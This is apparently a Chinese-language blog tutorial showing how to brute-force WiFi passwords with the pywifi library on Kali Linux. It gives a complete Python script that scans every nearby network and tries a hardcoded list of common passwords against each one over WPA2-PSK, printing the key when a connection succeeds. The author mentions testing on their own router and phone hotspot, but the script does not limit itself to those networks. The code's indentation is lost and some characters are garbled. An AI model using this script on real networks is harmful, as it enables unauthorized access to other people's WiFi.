準(zhǔn)備工作:pywifi庫,無線網(wǎng)卡,kali? linux
使用python爆破wifi,需要安裝第三方庫pywifi。
下載地址https://pypi.org/project/pywifi/1.1.6/
下載完成后拷貝到linux中進(jìn)行安裝。我這里使用kali
pip install .
進(jìn)行安裝

開始寫wifi.py腳本
#coding=utf-8
import time
import pywifi
from pywifi import const
passes=['1q2w3e4r','123456789','88888888','road123456','ydgj31601','12345678']
def brute_wifi():
wifi=pywifi.PyWiFi()#創(chuàng)建一個(gè)無線的對(duì)象
global iface
iface=wifi.interfaces()[0]#取第一個(gè)無線網(wǎng)卡
print '--------無線網(wǎng)卡:'+iface.name()+'--------'
iface.scan()#掃描
bessis=iface.scan_results()
for data in bessis:
print "開始爆破:"
print "ssid:%s,bssid:%s,signal:%s" % (data.ssid,data.bssid,data.signal)
for key in passes:
#print key
connect_wifi(data.ssid,key)
def connect_wifi(wifi_name,key):
profile=pywifi.Profile()#配置文件
profile.ssid=wifi_name#wifi名稱
profile.auth=const.AUTH_ALG_OPEN#需要密碼
profile.akm.append(const.AKM_TYPE_WPA2PSK)#加密類型
profile.cipher=const.CIPHER_TYPE_CCMP#加密單元
profile.key = key#密碼
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
#配置文件
iface.connect(tmp_profile)
time.sleep(10)
#嘗試連接
if iface.status()==const.IFACE_CONNECTED:
print "\033[1;31;40m[+]密碼為:\033[0m"+profile.key
#輸出有顏色的字體
exit()
else:
print "[-]錯(cuò)誤:"+profile.key
iface.disconnect()#斷開連接
time.sleep(1)
if __name__ == '__main__':
brute_wifi()
看一下有格式的代碼

將代碼拷貝到/pywifi-master/tests下進(jìn)行測(cè)試。
測(cè)試之前需要確定有沒有無線網(wǎng)卡。(我使用的是360隨身wifi)

然后準(zhǔn)備兩個(gè)wifi,一個(gè)家里的無線路由器,一個(gè)手機(jī)的熱點(diǎn)。密碼是已經(jīng)準(zhǔn)備好的。
ok,開始測(cè)試。。
